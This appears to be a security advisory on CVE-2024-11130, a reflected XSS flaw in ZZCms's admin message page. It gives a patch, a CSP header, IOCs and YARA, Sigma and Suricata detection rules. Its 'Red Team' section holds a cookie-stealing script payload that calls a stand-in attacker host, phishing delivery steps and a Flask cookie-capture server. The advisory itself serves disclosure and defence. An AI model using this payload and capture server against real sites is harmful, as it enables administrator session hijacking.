CVE-2024-11130

Executive Summary

CVE-2024-11130 is a reflected cross-site scripting (XSS) vulnerability found in ZZCms up to version 2023. The flaw resides in the /admin/msg.php file, where the keyword parameter is not properly sanitized, allowing an attacker to inject arbitrary JavaScript code. This vulnerability is classified as problematic with a CVSS score of 0.0 (likely due to incomplete scoring data), but the exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is currently available, making this a zero-day threat for unpatched instances.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a standalone PHP-based CMS (ZZCms). No supply chain implications are identified.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or error in the NVD data. Based on the description (remote attack, low complexity, no authentication required for the admin endpoint), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N) – the admin endpoint may require authentication, but the description says "remotely launched"
• User Interaction (UI): Required (R) – victim must click a crafted link
• Scope (S): Changed (C) – XSS can impact other users
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N (Score: 6.1 Medium)

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. However, the lack of a patch and public exploit disclosure elevates the risk.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the /admin/msg.php endpoint. The keyword parameter is echoed back to the user without proper encoding or sanitization. An attacker can craft a URL like:

http://target.com/admin/msg.php?keyword=<script>alert('XSS')</script>

When an administrator visits this URL, the script executes in their browser context, potentially allowing session hijacking, credential theft, or admin account takeover.

The attack is "reflected" meaning the payload is not stored on the server but is immediately reflected in the response. This reduces persistence but still poses a significant risk if an admin can be tricked into clicking a malicious link.

Vulnerable vs. Patched Code

Vulnerable Code (hypothetical):

// /admin/msg.php
$keyword = $_GET['keyword'];
echo "Search results for: " . $keyword;

Patched Code (recommended):

// /admin/msg.php
$keyword = htmlspecialchars($_GET['keyword'], ENT_QUOTES, 'UTF-8');
echo "Search results for: " . $keyword;

The fix uses htmlspecialchars() to encode HTML special characters, preventing script injection. Since no official patch exists, administrators must apply this fix manually.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Step 1: Craft the malicious URL

http://target.com/admin/msg.php?keyword=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Step 2: Deliver the link via phishing email, social media, or a compromised site.

Step 3: Capture the cookie on the attacker's server.

Step 4: Use the stolen cookie to impersonate the admin.

Example Python script for cookie capture:

from flask import Flask, request
app = Flask(__name__)

@app.route('/steal')
def steal():
    cookie = request.args.get('cookie')
    print(f"Stolen cookie: {cookie}")
    return "OK"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

Blue Team (Defense & Detection)

Step 1: Input Validation – Sanitize all user inputs using htmlspecialchars() or a similar function.

Step 2: Content Security Policy (CSP) – Add a CSP header to restrict script execution:

Content-Security-Policy: default-src 'self'; script-src 'self'

Step 3: Web Application Firewall (WAF) – Deploy rules to block XSS patterns in query strings.

Step 4: Monitor logs for suspicious keyword parameters containing <script> or onerror etc.

Indicators of Compromise (IOCs)

• URL Pattern: /admin/msg.php?keyword=<script>
• Log Entry: GET /admin/msg.php?keyword=%3Cscript%3E
• Network Traffic: Outbound connections to attacker-controlled domains from the admin interface.
• File Changes: Unauthorized modifications to admin accounts or settings.

Detection Engineering

YARA Rule

rule CVE_2024_11130_XSS {
    meta:
        description = "Detects XSS attempts targeting CVE-2024-11130 in ZZCms"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11130"
    strings:
        $xss1 = "/admin/msg.php?keyword="
        $xss2 = "<script>"
        $xss3 = "onerror="
        $xss4 = "javascript:"
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: CVE-2024-11130 XSS Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects reflected XSS attempts against ZZCms admin interface
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/admin/msg.php?keyword='
        cs-uri-query|contains|all:
            - '<script'
            - '>'
    condition: selection
falsepositives:
    - Legitimate use of script tags in search (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-11130 XSS Attempt"; flow:to_server; content:"/admin/msg.php?keyword="; http_uri; content:"<script"; http_uri; nocase; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply manual patch: Edit /admin/msg.php and wrap the keyword parameter with htmlspecialchars().
2. Restrict access: Limit /admin/ endpoints to trusted IPs only.
3. Enable CSP: Add a strict Content Security Policy header.
4. Monitor logs: Actively search for XSS patterns in web server logs.

Long-term Fix:

• Upgrade to a patched version of ZZCms when available.
• Conduct a full security audit of the application.
• Implement a Web Application Firewall (WAF) with XSS rules.

Workaround:

• Disable the search functionality in /admin/msg.php if not essential.

Valters IT – DevSecOps & Cyber Threat Intelligence Report